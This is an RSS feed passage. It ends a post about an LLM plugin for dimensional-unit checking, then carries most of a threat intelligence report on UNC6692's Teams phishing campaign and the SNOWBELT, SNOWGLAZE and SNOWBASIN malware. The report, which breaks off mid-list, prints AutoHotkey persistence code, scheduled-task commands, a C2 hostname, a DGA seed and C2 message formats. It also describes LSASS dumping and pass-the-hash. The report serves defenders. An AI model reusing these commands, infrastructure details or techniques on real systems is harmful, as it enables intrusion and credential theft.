<p>In the third phase, dimensions are “propagated” across each file to callers and callees. This phase adds extra annotations to low-priority files that didn’t receive annotations on the first pass, and performs the first set of checks to make sure that dimensions agree within the same code context and across files.</p>
<p>It’s important to note that a dimensional mismatch at this stage doesn’t necessarily mean a vulnerability is present; sometimes it’s not possible to infer the precise dimension of a called function argument without reading the implementation of the function itself, and the system will over-generalize or make a poor guess. This third phase attempts to “repair” these over-generalized annotations and, if repair is not possible, flags them for triage in the final step.</p>
<p>In the fourth and final phase, the plugin attempts to discover mismatches and perform triage. Dimensional mismatching is checked for during assignment, during arithmetic, across function boundaries, across return paths, and across external calls. Dimensional mismatches are compared against a severity classification based on the nature of the mismatch, and a final report is returned to the user.</p>
<h2>What’s next?</h2>
<p>If you’re a developer working on an arithmetic-heavy project like a smart contract or blockchain node, we highly recommend running this plugin, then committing <code>DIMENSIONAL_UNITS.md</code> along with all of the annotations created by the plugin. Besides finding bugs, these annotations can greatly improve how long it takes to build a thorough understanding of a complex codebase and help improve both human and LLM understanding of the semantic meaning of your project’s arithmetic expressions.</p>
<p>While new tools are exciting, at this time we don’t believe that this tool can find <em>every</em> source of dimensional error. LLMs are probabilistic, which means there is always going to be some level of error. We’re interested in improving this plugin wherever possible, so if you run it and it misses a dimensional error, please open an issue on our <a href="https://github.com/trailofbits/skills/tree/main">GitHub</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Snow Flurries: How UNC6692 Employed Social Engineering to Deploy a Custom Malware Suite]]></title>
<description><![CDATA[Written by: JP Glab, Tufail Ahmed, Josh Kelley, Muhammad Umair

Introduction 
Google Threat Intelligence Group (GTIG) identified a multistage intrusion campaign by a newly tracked threat group, UNC6692, that leveraged persistent social engineering, a custom modular malware suite, and deft pivotin...]]></description>
<link>https://tsecurity.de/de/3501378/it-security-nachrichten/snow-flurries-how-unc6692-employed-social-engineering-to-deploy-a-custom-malware-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501378/it-security-nachrichten/snow-flurries-how-unc6692-employed-social-engineering-to-deploy-a-custom-malware-suite/</guid>
<pubDate>Fri, 08 May 2026 23:18:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: JP Glab, Tufail Ahmed, Josh Kelley, Muhammad Umair</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Google Threat Intelligence Group (GTIG) identified a multistage intrusion campaign by a newly tracked threat group, UNC6692, that leveraged persistent social engineering, a custom modular malware suite, and deft pivoting inside the victim’s environment to achieve deep network penetration. </span></p>
<p><span>As with many other intrusions in recent years, UNC6692 relied heavily on impersonating IT helpdesk employees, convincing their victim to accept a Microsoft Teams chat invitation from an account outside their organization. The UNC6692 campaign demonstrates an interesting evolution in tactics, particularly the use of social engineering, custom malware, and a malicious browser extension, playing on the victim’s inherent trust in several different enterprise software providers. </span></p>
<h3><span>Threat Details</span></h3>
<p><span>In late December 2025, UNC6692 conducted a large email campaign designed to overwhelm the target with messages, creating a sense of urgency and distraction. Following this, the attacker sent a phishing message via Microsoft Teams, posing as helpdesk personnel offering assistance with the email volume.</span></p>
<h4><span>Infection Chain</span></h4>
<p><span>The victim was contacted through Microsoft Teams and was prompted to click a link to install a local patch that prevents email spamming. Once clicked, the user’s browser opened an HTML page and ultimately downloaded a renamed AutoHotKey binary and an AutoHotkey script, sharing the same name, from a threat actor-controlled AWS S3 bucket. </span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>"url": "https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=&lt;redacted&gt;.com",
"description": "Microsoft Spam Filter Updates | Install the local patch to protect your account from email spamming",</code></pre>
<p><span>Figure 1: <span>Snippet from MS Team Logs</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>If the AutoHotkey binary is named the same as a script file in its current directory, AutoHotkey will automatically run the script with no additional command line arguments. Evidence of AutoHotKey execution was recorded immediately following the downloads resulting in initial reconnaissance commands and the installation of SNOWBELT, a malicious Chromium browser extension (not distributed through the Chrome Web Store). Mandiant was unable to recover the initial AutoHotKey script. </span></p>
<p><span>The persistence of SNOWBELT was established in multiple ways. First, a shortcut to an AutoHotKey script was added to the Windows Startup folder, which verified SNOWBELT was running and that a Scheduled Task was present.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>if !CheckHeadlessEdge(){
   try{
      taskService:=ComObject("Schedule.Service")
      taskService.Connect()
      rootFolder:=taskService.GetFolder("\")
      if FindAndRunTask(rootFolder){
         Sleep 10000
         if CheckHeadlessEdge(){
         ExitApp
         }
      }
   }
   Run 'cmd /c start "" "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\System Data" --headless=new --load-extension="%LOCALAPPDATA%\Microsoft\Edge\Extension Data\SysEvents" --no-first-run',,"Hide"
}
ExitApp</code></pre>
<p><span><span>Figure </span><span>2</span><span>: Snippet from AutoHotKey script to verify SNOWBELT was running and to start it if not</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Second, two additional scheduled tasks were installed. One task to start a windowless Microsoft Edge process that loads the SNOWBELT extension and another to identify and terminate Microsoft Edge processes that do not have CoreUIComponents.dll loaded.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;Exec&gt;
    &lt;Command&gt;
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    &lt;/Command&gt;
    &lt;Arguments&gt;
       --user-data-dir="C:\Users\&lt;redacted&gt;\AppData\Local\Microsoft\Edge\System Data"  
       --no-first-run   
       --load-extension="C:\Users\&lt;redacted&gt;\AppData\Local\Microsoft\Edge\Extension Data\SysEvents"   
       --headless=new --disable-sync
    &lt;/Arguments&gt;
&lt;/Exec&gt;</code></pre>
<p><span><span>Figure </span><span>3</span><span>: Snippet from the scheduled task to start the SNOWBELT extension windowless Microsoft Edge</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Microsoft Edge processes without CoreUIComponents.dll are typically headless. The threat actor uses this command to essentially “clean up” headless Edge processes that execute their malware.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;Exec&gt;
    &lt;Command&gt;cmd&lt;/Command&gt;
    &lt;Arguments&gt;
    /c "for /f "tokens=2" %p in ('tasklist /M SHELL32.dll ^| findstr "msedge.exe"') do @(tasklist /M CoreUIComponents.dll | findstr "%p" &gt;nul || taskkill /F /PID %p)"
    &lt;/Arguments&gt;
&lt;/Exec&gt;</code></pre>
<p><span><span>Figure 4: Snippet from the scheduled task to check for CoreUIComponents.dll</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Using the SNOWBELT extension, UNC6692 downloaded additional files including SNOWGLAZE, SNOWBASIN, AutoHotkey scripts, and a ZIP archive containing a portable Python executable and required libraries.</span></p>
<h4><span>Internal Recon and Lateral Movement</span></h4>
<p><span>After gaining initial access, process execution telemetry recorded UNC6692 using a Python script to scan the local network for ports 135, 445, and 3389. Following internal port scanning, the threat actor established a Sysinternals PsExec session to the victims system via the SNOWGLAZE tunnel, and executed commands to enumerate local administrator accounts. Using the local administrator account, the threat actor initiated an RDP session via the SNOWGLAZE tunnel from the victim system to a backup server. Though not directly observed, the threat actor may have acquired the local administrator accounts credentials via multiple attack paths such as authenticated Server Message Block (SMB) share enumeration.</span></p>
<h4><span>Escalate Privileges</span></h4>
<p><span>After gaining access to the backup server the threat actor utilized the local administrator account to extract the system's LSASS process memory with Windows Task Manager. Microsoft Windows Local Security Authority Subsystem Service (LSASS) process </span><code>lsass.exe</code><span> enforces security policy and contains usernames, passwords and hashes for accounts that have accessed the system. After extracting the process memory, UNC6692 exfiltrated it via LimeWire. With the process memory out of the victim environment UNC6692 is able to use offensive security tools to extract the credentials while not having to worry about being detected. </span></p>
<h4><span>Complete Mission</span></h4>
<p><span>Now armed with the password hashes of elevated users, UNC6692 used Pass-The-Hash to move laterally to the network's domain controllers. Pass-The-Hash is a common technique used by threat actors where the NTLM hash is passed to another system, instead of providing the account password, allowing for authentication via NTLM. Once authenticated to the Domain Controller, the threat actor opened Microsoft Edge, and downloaded a ZIP archive containing FTK Imager to the Domain Administrator’s </span><code>\Downloads</code><span> folder. The threat actor executed FTK Imager and mounted the local storage drive. Subsequently, FTK Imager wrote the Active Directory database file (NTDS.dit), Security Account Manager (SAM) , SYSTEM, and SECURITY registry hives to the </span><code>\Downloads</code><span> folder. The extracted files were then exfiltrated from the network via LimeWire. Finally, EDR telemetry logged the threat actor performing screen captures on the Domain Controllers, specifically targeting in-focus instances of Microsoft Edge and FTK Imager.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/unc6692-custom-malware-fig5.max-1000x1000.png" alt="UNC6692 attack lifecycle">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="tpxv8">Figure 5: UNC6692 attack lifecycle</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>THE SNOW Ecosystem</span></h3>
<h4><span>Phishing Landing Page</span></h4>
<p><span>The original phishing link (</span><code>https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=&lt;redacted&gt;.com</code><span>) delivered via Microsoft Teams directs the victim to a landing page masquerading as a "Mailbox Repair Utility." This interface is designed to elicit user engagement through various on-screen buttons.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/unc6692-custom-malware-fig6.max-1000x1000.png" alt='The landing page masquerading as an official "Mailbox Repair and Sync Utility v2.1.5."'>
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="k4du3">Figure 6: The landing page masquerading as an official "Mailbox Repair and Sync Utility v2.1.5."</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>Phase 1: Environment Enforcement and Anti-Analysis</span></h4>
<p><span>The attacker used a gatekeeper script designed to ensure the payload is delivered only to intended targets while evading automated security sandboxes. Upon loading, the landing page executes an </span><code>init()</code><span> function that inspects the URL for a mandatory </span><code>?email=</code><span> parameter. If this parameter is absent, the page immediately redirects to </span><code>about:blank.</code><span> </span></p>
<p><span>The script also checks the victim’s browser. If the user is not using Microsoft Edge, the page displays a persistent overlay warning. This forces the user to click an "Open in Edge" button, which triggers the </span><code>microsoft-edge:</code><span> URI scheme. This ensures the victim is moved from potentially secure mobile or third-party browser environments into a specific workspace where the attacker’s exploits are most effective.</span></p>
<h4><span>Phase 2: Credential Harvesting via Social Engineering</span></h4>
<p><span>Once the environment is established, the page presents a professional-looking "Configuration Management Panel" masquerading as an official "Mailbox Repair and Sync Utility." The primary hook is a "Health Check" button that, when clicked, triggers an "Authentication Required" modal.</span></p>
<p><span>The harvesting script, handleAuthFormSubmit, employs a "double-entry" psychological trick. It is programmed to reject the first and second password attempt as incorrect. This serves two functions: it reinforces the user’s belief that the system is legitimate and performs real-time validation, and it ensures that the attacker captures the password twice, significantly reducing the risk of a typo in the stolen data. A screenshot of authentication is shown in Figure 7, and the email supplied is entered by default.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/unc6692-custom-malware-fig7.max-1000x1000.png" alt='The credential harvesting prompt triggered by the "Health Check" button'>
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="k4du3">Figure 7: The credential harvesting prompt triggered by the "Health Check" button</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>Phase 3: Data Exfiltration and Distraction Sequences</span></h4>
<p><span>Upon successful submission, the script executes an asynchronous PUT request using AWS URLs. The validated credentials and metadata are uploaded directly to an attacker-controlled Amazon S3 bucket (e.g., </span><code>service-page-18968-2419-outlook.s3.us-west-2.amazonaws.com</code><span>), which have since been taken down. These buckets serve as the command and control (C2) infrastructure and represent critical indicators of compromise (IOCs).</span></p>
<p><span>To mask this background activity and prevent user suspicion, the script initiates a startProgressBar function. This displays a scripted distraction sequence featuring fake technical tasks such as "Parsing configuration data" and "Checking mailbox integrity." This manipulation keeps the victim engaged until the data transfer is complete.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/unc6692-custom-malware-fig8.max-1000x1000.png" alt="A scripted distraction sequence used to mask the background exfiltration of stolen data">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="k4du3">Figure 8: A scripted distraction sequence used to mask the background exfiltration of stolen data</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>Phase 4: Malware Staging and Endpoint Foothold</span></h4>
<p><span>The final stage involves the delivery of secondary malicious payloads referenced within the CONFIG object of the script. While the progress bar runs, the site is prepared to deliver files seen in Table 1.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Button Clicked</strong></p>
</td>
<td>
<p><strong>File Downloaded</strong></p>
</td>
<td>
<p><strong>Type / Risk</strong></p>
</td>
</tr>
<tr>
<td>
<p><strong>Profile 1.3</strong></p>
</td>
<td>
<p><span>Protected.ahk</span></p>
</td>
<td>
<p><strong>AutoHotKey Script:</strong><span> Not found during the investigation, but suspected to install SNOWBELT.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Profile B5</strong></p>
</td>
<td>
<p><span>profileB5.txt</span></p>
</td>
<td>
<p><span>Likely a configuration file for the malware.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Component Verification</strong></p>
</td>
<td>
<p><span>RegSrvc.exe</span></p>
</td>
<td>
<p><strong>AutoHotKey Executable:</strong><span> Masquerading as a "Registration Service."</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Health Check</strong></p>
</td>
<td>
<p><span>N/A</span></p>
</td>
<td>
<p><span>Prompts the user to input email credentials. Exfiltrates the credentials to Amazon S3 bucket.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div align="left"><span><span>Table 1: Buttons on the landing page</span></span></div></div>
<div class="block-paragraph_advanced"><p><span>By the time the user receives a "Configuration completed successfully" message, the attacker has secured the credentials and potentially established a persistent foothold on the endpoint using these staged files.</span></p>
<p><span>The SNOW malware ecosystem, attributed to the threat cluster UNC6692, operates as a modular ecosystem comprising three primary components: SNOWBELT, SNOWGLAZE, and SNOWBASIN. Rather than functioning as isolated tools, these components form a coordinated pipeline that facilitates an attacker's journey from initial browser-based access to the internal network of the organization.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/unc6692-custom-malware-fig9.max-1000x1000.png" alt="The SNOW ecosystem">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="0176j">Figure 9: The SNOW ecosystem</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>1.SNOWBELT (Browser Extension)</span></h4>
<p><strong>SNOWBELT</strong><span> serves as the initial foothold and the primary "eyes" of the operation. It is a JavaScript-based backdoor delivered as a Chromium browser extension, often masquerading under names like "MS Heartbeat" or "System Heartbeat".  Rather than being available through the Chrome Web Store, the extension is deployed through social engineering tactics.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Role:</strong><span> It is designed to intercept commands and send them to SNOWBASIN for execution . It maintains persistence via the browser's extension registration system and uses Service Worker Alarms and Keep-Alive Tab Injection (via helper.html) to ensure it remains active whenever the browser is running.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Functionality: </strong><span>By relaying commands from the threat actor to SNOWBASIN, SNOWBELT provides authenticated access to the environment. This allows the attacker to move laterally and escalate privileges without the need for constant re-authentication.</span></p>
</li>
</ul>
<h4><span>2.SNOWGLAZE (Python Tunneler)</span></h4>
<p><span>Once a foothold is established, SNOWGLAZE is deployed to manage the logistics of external communication. SNOWGLAZE is a Python-based tunneler that can operate in both Windows and Linux environments.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Role: </strong><span>Its primary function is to create a secure, authenticated WebSocket tunnel between the victim's internal network and the attacker's command-and-control (C2) infrastructure, such as a Heroku subdomain. It facilitates SOCKS proxy operations, allowing arbitrary TCP traffic to be routed through the infected host.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Functionality:</strong><span> SNOWGLAZE masks malicious traffic by wrapping data in JSON objects and Base64 encoding it for transfer via WebSockets. This makes the activity appear as standard encrypted web traffic. When attackers wish to interact with backdoors like SNOWBASIN or exfiltrate staged data, traffic is routed through this established tunnel.</span></p>
</li>
</ul>
<h4><span>3.SNOWBASIN (Python Bindshell)</span></h4>
<p><span>While SNOWBELT monitors the user and SNOWGLAZE bridges the network gap, SNOWBASIN provides the functional interactive control over the infected system.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Role: </strong><span>It acts as a persistent backdoor that operates as a local HTTP server (typically listening on port 8000). It enables remote command execution via cmd.exe or powershell.exe, screenshot capture, and data staging for exfiltration.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Functionality: </strong><span>This component is where active reconnaissance and mission completion occur. Attacker commands (such as whoami or net user) are sent through the SNOWGLAZE tunnel, intercepted by the SNOWBELT extension, and then proxied to the SNOWBASIN local server via HTTP POST requests. SNOWBASIN executes these commands and relays the results back through the same pipeline to the attacker.</span></p>
</li>
</ul></div>
<div class="block-paragraph_advanced"><h4><span>Malware Analysis </span></h4>
<h5><span>SNOWBELT</span></h5>
<p><span>SNOWBELT is a JavaScript-based backdoor implemented as a Chromium browser extension. Its lifecycle begins with the execution of the background.js Service Worker upon installation, which leverages the browser's extension registration system for persistence. To ensure continuous operation while the browser is active, the malware utilizes Service Worker Alarms (agent-heartbeat) and Keep-Alive Tab Injection (helper.html).</span></p>
<p><span>Upon initialization, the malware generates a unique identity using the prefix fp-sw- followed by a UUID. It then employs a time-based DGA to calculate C2 URLs. Using a hard-coded seed value (</span><code>691f7258f212fa8908a8bf06bcf9e027d2177276e13e10ff56bd434ff3755cc4</code><span>), it generates a registry URL for an S3 bucket within 30-minute time slots. These URLs follow a specific structural pattern:</span></p>
<ul>
<li role="presentation"><code>https://[a-f0-9]{24}-[0-9]{6,7}-{0-9}{1}.s3.us-east-2.amazonaws[.]com</code></li>
</ul>
<p><span>The manifest retrieved from this registry is decrypted via AES-GCM using a key derived from SHA256(SEED + "|" + timeslot).</span></p>
<p><span>For low-latency C2, SNOWBELT registers with the browser's Push Notification service. This is achieved using a hard-coded VAPID Public Key:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>BJkWCT45mL0uvV3AssRaq9Gn7iE2N7Lx38ZmWDFCjwhz0zv0QSVhKuZBLTTgAijB12cgzMzqyiJZr5tokRzSJu0</code></pre></div>
<div class="block-paragraph_advanced"><p><span>This setup provides an asynchronous channel that allows attackers to "wake up" the Service Worker immediately via authenticated Push messages, bypassing standard polling. Additionally, the malware supports real-time interaction through a persistent REGISTRY_WEBSOCKET_URL connection.</span></p>
<p><span>SNOWBELT functions in coordination with SNOWBASIN, a backdoor acting as a local web server (typically on port 8000). It relays decrypted C2 commands—such as command, buffer, flush, and commit—to SNOWBASIN via HTTP POST requests, effectively proxying shell commands to the host system.</span></p>
<p><span>The malware also includes mechanisms to bypass the browser sandbox:</span></p>
<ol>
<li aria-level="1">
<p role="presentation"><strong>Native Host Bridge (open_native_messaging):</strong><span> Uses chrome.runtime.connectNative to establish I/O pipes with local applications for issuing privileged commands.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Protocol Handler Abuse (open_uri):</strong><span> Employs dream.html and dream.js to trigger custom URI schemes in new tabs, targeting vulnerabilities in third-party desktop applications</span><span>.</span></p>
</li>
</ol>
<p><span>Exfiltration is managed by the sendJsonDataToS3 function, which encrypts data with AES-GCM (Key: SHA256(SEED + "|ping|" + bucket + "|" + objectKey)) before uploading to S3. The backdoor's command set is summarized in Table 2.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Command Type</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><strong>command</strong></p>
</td>
<td>
<p><strong>Relayed</strong><span>: Decrypts and POSTs command text to SNOWBASIN; exfiltrates response to C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>buffer</strong></p>
</td>
<td>
<p><strong>Relayed</strong><span>: Forwards file path payloads to local buffer endpoint.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>flush</strong></p>
</td>
<td>
<p><strong>Relayed</strong><span>: Triggers a data flush on the local server.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>commit</strong></p>
</td>
<td>
<p><strong>Relayed</strong><span>: Sends URL and path data for local processing.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>stop_server</strong></p>
</td>
<td>
<p><strong>Relayed</strong><span>: Shutdown signal for the local SNOWBASIN instance.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>screenshot</strong></p>
</td>
<td>
<p><strong>Relayed</strong><span>: Requests a screen capture from the host.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>payload</strong></p>
</td>
<td>
<p><strong>Internal</strong><span>: Downloads files using chrome.downloads; supports URLs and base64 blobs.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>open_native_messaging</strong></p>
</td>
<td>
<p><strong>Internal</strong><span>: Direct connection to native host apps via Chrome APIs.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>open_uri</strong></p>
</td>
<td>
<p><strong>Internal</strong><span>: Triggers external protocol handlers via helper pages.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>delete_cache</strong></p>
</td>
<td>
<p><strong>Internal</strong><span>: Removes downloaded files from the system.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>websocket_control</strong></p>
</td>
<td>
<p><strong>Internal</strong><span>: Controls the state of WebSocket connectivity.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>ping</strong></p>
</td>
<td>
<p><strong>Internal</strong><span>: Provides heartbeats and status updates to the C2.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div align="left"><span><span>Table 2: SNOWBELT commands</span></span></div></div>
<div class="block-paragraph_advanced"><p><span>Finally, SNOWBELT implements a feedback loop by monitoring chrome.downloads.onChanged. If a download is blocked (e.g., FILE_VIRUS_INFECTED), the malware reports the error back to the S3-based C2.</span></p>
<h5><span>SNOWBASIN</span><span> </span></h5>
<p><span>SNOWBASIN is a Python-based backdoor that operates as a local HTTP server on ports 8000, 8001, or 8002. Its core capabilities include command execution, screenshot capture, and data exfiltration. The malware also enables operators to manage files by downloading or deleting them, and it provides the capability to terminate active connections. SNOWBELT relays commands to this malware by sending HTTP requests to localhost:8000.</span></p>
<p><span>It turns the victim's computer into a command-and-control (C2) node that can be controlled via HTTP requests. It is designed to run on Windows (evidenced by os.chdir('C:\\') and cmd.exe calls) and allows a remote actor to execute commands, steal files, and take screenshots.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Endpoint</strong></p>
</th>
<th scope="col">
<p><strong>Function</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><span>/</span><strong>stream</strong></p>
</td>
<td>
<p><strong>Remote Shell</strong></p>
</td>
<td>
<p><span>Receives a command and executes it via cmd.exe or powershell.exe. It returns the STDOUT/STDERR results to the attacker.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>/</span><strong>buffer</strong></p>
</td>
<td>
<p><strong>File Exfiltration</strong></p>
</td>
<td>
<p><span>If a file path is provided, it reads the file, encodes it in Base64, and sends it back. If a folder is provided, it returns a full directory listing</span></p>
</td>
</tr>
<tr>
<td>
<p><span>/</span><strong>flush</strong></p>
</td>
<td>
<p><strong>File Deletion</strong></p>
</td>
<td>
<p><span>Relayed. Signals http://localhost[:]8000/flush to flush buffered data.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>/</span><strong>commit</strong></p>
</td>
<td>
<p><strong>File Ingress</strong></p>
</td>
<td>
<p><span>Downloads a file from a provided URL and saves it to a specific path on the local disk. It bypasses SSL certificate verification (CERT_NONE).</span></p>
</td>
</tr>
<tr>
<td>
<p><span>/</span><strong>capture</strong></p>
</td>
<td>
<p><strong>Take Screenshots</strong></p>
</td>
<td>
<p><span>Uses the mss and PIL libraries to take a screenshot of all monitors and send the image back as a Base64 string.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>/</span><strong>gc</strong></p>
</td>
<td>
<p><strong>Self-Termination</strong></p>
</td>
<td>
<p><span>Shuts down the server instance, effectively ""killing"" the backdoor's connection.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div align="left"><span><span>Table 3: SNOWBASIN endpoints</span></span></div></div>
<div class="block-paragraph_advanced"><h5><span>SNOWGLAZE</span></h5>
<p><span>The network tunneler SNOWGLAZE, developed in Python, facilitates the routing of arbitrary TCP traffic through a compromised system by establishing a WebSocket connection to a static C2 host using hard-coded credentials.</span></p>
<p><span>The script is designed for cross-platform execution on both Windows and Linux, utilizing environment-specific behaviors for each. In Windows environments, it runs as a foreground process manageable via standard keyboard interrupts (Ctrl-C). Conversely, on Linux, it operates as a background daemon and includes specific logic to handle SIGINT and SIGTERM signals for orderly shutdowns.</span></p>
<p><span>To establish communication, the malware targets the C2 server at wss://sad4w7h913-b4a57f9c36eb[.]herokuapp[.]com:443/ws, masquerading its traffic with a Microsoft Edge User-Agent string. If the initial connection fails, the script employs an incremental backoff strategy, starting at 5 seconds and increasing by 5-second intervals up to a 300-second maximum. Upon a successful WebSocket handshake, it transmits the following Auth payload:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
    "type": "auth",
    "login": "&lt;redacted",
    "password": "&lt;redacted",
    "uuid": "&lt;redacted&gt;"
}</code></pre></div>
<div class="block-paragraph_advanced"><p><span>Following authentication, the script sends a "register" type message with no payload, followed by an "agent_info" JSON record. Although the "info" field within this record is intended to carry the public IP address, it remains unpopulated due to improper implementation in the script.</span></p>
<p><span>Once fully connected, the malware listens for JSON-formatted commands. The supported "type" values include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>ping</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Prompts the script to return a "type": "pong" JSON object.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><span>agent_public_ip</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Intended to report the host's public IP via an agent_info structure; however, the IP field is consistently blank in current versions.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><span>socks_connect</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Requests a new SOCKS proxy connection using a unique conn_id provided by the operator to track the session. The request format is as follows:</span></p>
</li>
</ul>
</ul></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
    "type": "socks_connect",
    "conn_id": "&lt;unique_connection_id&gt;",
    "target_host": "example.com",
    "target_port": 80
}</code></pre></div>
<div class="block-paragraph_advanced"><ul>
<li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Execution triggers an asynchronous worker thread that manages the TCP-to-WebSocket data transfer, utilizing Base64 encoding and JSON encapsulation with the socks_data type.</span></p>
</li>
</ul>
</li>
<li aria-level="1">
<p role="presentation"><span>socks_data</span></p>
<ul>
<li aria-level="2">
<p role="presentation"><span>Facilitates bidirectional data exchange between the WebSocket and the TCP socket. Data is Base64-encoded within the data field of the following structure:</span></p>
</li>
</ul>
</li>
</ul></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>    {
        "type": "socks_data",
        "conn_id": "&lt;unique_connection_id&gt;",
        "data": "bG9yZW0gaXBzdW0=" 
    }</code></pre></div>
<div class="block-paragraph_advanced"><ul>
<li aria-level="1">
<p role="presentation"><span>socks_close</span></p>
</li>
<ul>
<li aria-level="2">
